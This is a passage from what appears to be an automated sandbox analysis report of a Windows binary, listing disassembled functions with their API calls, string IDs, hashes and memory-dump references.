    • Opcode ID: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
    • Instruction ID: 279db9349b9432370442bca1a9a1493b0779058484bbe6e66891083dc9997760
    • Opcode Fuzzy Hash: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
    • Instruction Fuzzy Hash: E641CF71900208BBEB20EF62CC86EDFB7B9EF44704F10049FF554A2181D77AAB509B59
    Function 004183F6 Relevance: 1.5, APIs: 1, Instructions: 45COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: ClearVariant
    • String ID:
    • API String ID: 1473721057-0
    • Opcode ID: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
    • Instruction ID: d2bd3d490d9ddfc467a21e27a978dfc4666dbaf1305854362b7c44e4a4fbedf9
    • Opcode Fuzzy Hash: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
    • Instruction Fuzzy Hash: 70016D314009128BEB306F16D881AEAB7E5AF50725F31482FF88186221EF6D9CC29A5D
    Function 004129C0 Relevance: 1.5, APIs: 1, Instructions: 33windowCOMMON
    Download Yara Rule
    APIs
    • CreateIcon.USER32(00000020,00000020,00000001,00000001,?,?), ref: 00412A12
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CreateIcon
    • String ID:
    • API String ID: 3625662491-0
    • Opcode ID: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
    • Instruction ID: 8f4eba20f0dd3c68f254ecd256194a12db5acd5393f4aab0f61f7e9ed3e12a4c
    • Opcode Fuzzy Hash: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
    • Instruction Fuzzy Hash: 50F05471A40219BAEB21AA64DC46FDAB2ACBB08704F000476F605F21C1E6F46D548B98
    Function 00414E55 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
    Download Yara Rule
    APIs
    • GetFileAttributesW.KERNELBASE(?,00414BDE,?), ref: 00414E59
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AttributesFile
    • String ID:
    • API String ID: 3188754299-0
    • Opcode ID: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
    • Instruction ID: a7fd8ca27bb0810053334d820270db7b5587be9ae11b805182a5f761d4f63fd8
    • Opcode Fuzzy Hash: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
    • Instruction Fuzzy Hash: 2AC09B34000F105DDE640E385A4D0DA375179C27A5FD41791D479451F2D3394C57F605
    Function 0043138D Relevance: 1.3, APIs: 1, Instructions: 24COMMON
    Download Yara Rule
    APIs
    • CoUninitialize.COMBASE(0045C6D0,00000000,?,0041F99E), ref: 004313CD
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Uninitialize
    • String ID:
    • API String ID: 3861434553-0
    • Opcode ID: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
    • Instruction ID: df3736b00b7e0be589f0f43ae73a18a9a167cadeb1283b1792a52ecf7f174830
    • Opcode Fuzzy Hash: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
    • Instruction Fuzzy Hash: 3CE02B71281341DFD720AB709C544673B5ADB88305F185DBFD84687623EEB51886C71D
    Function 00413E1F Relevance: 1.3, APIs: 1, Instructions: 20COMMON
    Download Yara Rule
    APIs
    • CloseHandle.KERNEL32(?,00000000,00413C39,0045C6D0,0040FFF4,0045C6D0,?,?,004105B4,00000000,0047BD30,00000000,0045C6D0,00000000,00000000,0045C6D0), ref: 00413E2F
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CloseHandle
    • String ID:
    • API String ID: 2962429428-0
    • Opcode ID: 9bfc3fda799452cefd9afc6750f5b897df70f21d9868be3a5e5485ce3cadb6bc
    • Instruction ID: 8d68155d35ff6e49382bc72b4325340e3a7c1b0e2115fedd8b061b5066a75610
    • Opcode Fuzzy Hash: 9bfc3fda799452cefd9afc6750f5b897df70f21d9868be3a5e5485ce3cadb6bc
    • Instruction Fuzzy Hash: D0E092B2406B81DF87209F9A95C0447FBE4BA0871A360883FE0DE82A01C378A4858E1A

    Non-executed Functions

    Function 004230D5 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON
    Download Yara Rule
    APIs
    • FindFirstFileW.KERNEL32(00000000,?,75568FB0,?,00000000), ref: 004230F3
    • FindNextFileW.KERNEL32(00000000,?), ref: 0042314B
    • FindClose.KERNEL32(00000000), ref: 00423156
    • FindFirstFileW.KERNEL32(*.*,?), ref: 0042317C
    • SetCurrentDirectoryW.KERNEL32(?), ref: 004231C9
    • SetCurrentDirectoryW.KERNEL32(004604D0), ref: 004231E7
    • FindNextFileW.KERNEL32(00000000,00000010), ref: 004231F1
    • FindClose.KERNEL32(00000000), ref: 004231FE
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Find$File$CloseCurrentDirectoryFirstNext
    • String ID: *.*
    • API String ID: 1688175871-438819550
    • Opcode ID: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
    • Instruction ID: 29861fd0da0d17a13f764a0acb193fcdcc356ff7de37d4c9d30fbf1bb77053e7
    • Opcode Fuzzy Hash: dfc8a14a01940d425b0f09de917f9ee571f79e67c6d34d5baa6881ff1d2ea7f7
    • Instruction Fuzzy Hash: 5631A9316002297ADF209FA0BD49FFB37BCAF44316F540097F90492181EB7DDE159A18
    Function 00441086 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 348windowCOMMON
    Download Yara Rule
    APIs
    • GetCursorPos.USER32(?), ref: 004411F0
    • GetDesktopWindow.USER32 ref: 00441202
    • GetWindowRect.USER32(00000000), ref: 00441209
    • GetWindowLongW.USER32(?,000000F0), ref: 00441291
    • DestroyWindow.USER32(?), ref: 004412AD
    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004412E5
    • SendMessageW.USER32(00000000,00000432,00000000), ref: 00441302
    • SendMessageW.USER32(?,00000439,00000000), ref: 00441326
    • SendMessageW.USER32(?,00000421,?,?), ref: 00441339
    • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 0044134C
    • IsWindowVisible.USER32(?), ref: 00441354
    • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0044136F
    • SendMessageW.USER32(?,00000411,00000001,00000000), ref: 00441382
    • GetWindowRect.USER32(?,?), ref: 00441398
    • CopyRect.USER32(?,?), ref: 0044140C
    • FreeLibrary.KERNEL32(?), ref: 0044144C
    • FreeLibrary.KERNEL32(?), ref: 00441457
    • SendMessageW.USER32(?,00000412,00000000,?), ref: 00441478
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSendWindow$Rect$FreeLibrary$CopyCreateCursorDesktopDestroyLongVisible
    • String ID: tooltips_class32$Wu
    • API String ID: 2784576490-4211358266
    • Opcode ID: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
    • Instruction ID: 08c47ab1ab3467a4e06423d45bef535535d0a513bd421b0415e228815a64da0f
    • Opcode Fuzzy Hash: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
    • Instruction Fuzzy Hash: ACD17870600248EFEF14DF69C988A9A7BA4FF09350F14816AF919D7661D778ECC4CB98
    Function 0040B005 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 205windowlibraryCOMMON
    Download Yara Rule
    APIs
    • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0040B0B5
    • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,00407B65,?,?,?), ref: 0040B0C7
    • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B0FD
    • LoadImageW.USER32(?,e{@,00000001,?,?,00000000), ref: 0040B11B
    • LoadImageW.USER32(00000000,e{@,00000001,?,?,00000000), ref: 0040B137
    • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B15E
    • FreeLibrary.KERNEL32(?), ref: 0040B16D
    • ExtractIconExW.SHELL32(?,e{@,00000000,?,00000001), ref: 0040B1B2
    • DestroyCursor.USER32(?), ref: 0040B1C0
    • SendMessageW.USER32(?,00000170,?,00000000), ref: 0040B1DF
    • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0040B1ED
    • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,00407B65,?,?,?), ref: 0040B208
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIconMoveWindow
    • String ID: .dll$.exe$.icl$e{@$e{@$Wu
    • API String ID: 1851087544-3256305081
    • Opcode ID: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
    • Instruction ID: d209de9e82884b2b1933e4d2be4e6672a96570fc34edf142eca6f664b014f0a1
    • Opcode Fuzzy Hash: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
    • Instruction Fuzzy Hash: 2C618D72840219BEDB119FA4DC819BF7BBCEF08741F10806BF911E6181D7799E95CB98
    Function 004530C8 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 117fileCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0045314B
    • _strcat.LIBCMT ref: 0045315E
    • _strlen.LIBCMT ref: 0045316B
    • _strlen.LIBCMT ref: 0045317A
    • _strncpy.LIBCMT ref: 00453191
    • _strlen.LIBCMT ref: 0045319A
    • _strlen.LIBCMT ref: 004531A7
    • _strcat.LIBCMT ref: 004531C5
    • _strlen.LIBCMT ref: 0045320A
    • GetStdHandle.KERNEL32(000000F4,0045BF80,00000000,?,00000000,00000000,00000000,00000000), ref: 00453215
    • WriteFile.KERNEL32(00000000), ref: 0045321C
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
    • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
    • API String ID: 3601721357-4022980321
    • Opcode ID: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
    • Instruction ID: a6262fdefab13baafbc7e32f5453cb19c54bbfc7fce803c14b00e12ad1906f00
    • Opcode Fuzzy Hash: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
    • Instruction Fuzzy Hash: CC310E72500604AAE724EF759C96EAF7368EB04346F20491FF811D3143DA79E948DB5D
    Function 0040205D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 004020ED
    • GetDlgCtrlID.USER32(00000000), ref: 004020FE
    • GetParent.USER32 ref: 00402110
    • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402117
    • GetDlgCtrlID.USER32(00000000), ref: 0040211D
    • GetParent.USER32 ref: 00402133
    • SendMessageW.USER32(00000000,?,00000111,?), ref: 0040213A
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$CtrlParent
    • String ID: ComboBox$ListBox
    • API String ID: 1383977212-1403004172
    • Opcode ID: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
    • Instruction ID: 1ae3639546ccadbcf58f9fd73665429625f42c9a5e242655649765a7bb30241d
    • Opcode Fuzzy Hash: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
    • Instruction Fuzzy Hash: 7121F871900318BBDF11AB69CC49BBE7BA8DF05311F1000A6F601BB1E2C6BD9D49DB69
    Function 00424006 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 77COMMON
    Download Yara Rule
    APIs
    • SetErrorMode.KERNEL32(00000001), ref: 00424013
    • GetDriveTypeW.KERNEL32(00000000,00000000), ref: 0042405D
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: DriveErrorModeType
    • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown
    • API String ID: 2651406809-706929342
    • Opcode ID: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
    • Instruction ID: c236b00be81f74bb42f36345c47f50d6727ad15e36b1af1162972c05b99f5c91
    • Opcode Fuzzy Hash: 08aff071bbe8387bd98da38cb827e2b383d3b77f2986837a44d38e406a4d18e4
    • Instruction Fuzzy Hash: E921DE31704324EBC7206B65A845E5B3760EB80B15FA44157F706A72D1DA7CECC1864F
    Function 0041605B Relevance: 12.1, APIs: 8, Instructions: 92COMMON
    Download Yara Rule
    APIs
    • FindResourceW.KERNEL32(?,?,0000000E), ref: 004160AD
    • LoadResource.KERNEL32(?,00000000), ref: 004160B9
    • LockResource.KERNEL32(00000000), ref: 004160BC
    • FindResourceW.KERNEL32(?,?,00000003), ref: 004160E1
    • LoadResource.KERNEL32(?,00000000), ref: 004160EA
    • SizeofResource.KERNEL32(?,?), ref: 004160F5
    • LockResource.KERNEL32(00000000), ref: 00416101
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Resource$FindLoadLock$Sizeof
    • String ID:
    • API String ID: 4215241788-0
    • Opcode ID: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
    • Instruction ID: ad861e728714f87d0bd08c3f0af146d5d0e55425d81be2c55b6ca67d22e84554
    • Opcode Fuzzy Hash: 2afbcbb99dc1360dcbc8960ad73a9b6ad2de71b7916da34e34b9c8847100ea38
    • Instruction Fuzzy Hash: F7318B71800219AFEF10DFA0DD48AAF7BBAEB04305F004426F905A2261E375DE60DB69
    Function 0040D03A Relevance: 7.5, APIs: 5, Instructions: 30COMMON
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Line$Move
    • String ID:
    • API String ID: 3367123170-0
    • Opcode ID: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
    • Instruction ID: b97fa02212309c47107a525ebd6b8e18c6dd5977cae12453f45f519e06501ec8
    • Opcode Fuzzy Hash: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
    • Instruction Fuzzy Hash: DCF09B3640011CBBCF126FA1DC44EEF3F3AEB4AAA1F008419FA1855060C7369521FBA2
    Function 0043903B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON
    Download Yara Rule
    APIs
    • ShellExecuteExW.SHELL32(?), ref: 00439188
    • CloseHandle.KERNEL32(00000000,00000001), ref: 00439216
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CloseExecuteHandleShell
    • String ID: @$open
    • API String ID: 283469938-267353779
    • Opcode ID: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
    • Instruction ID: feda34889901b56425d67917506db13db688c050cc61e307db15a32002fab435
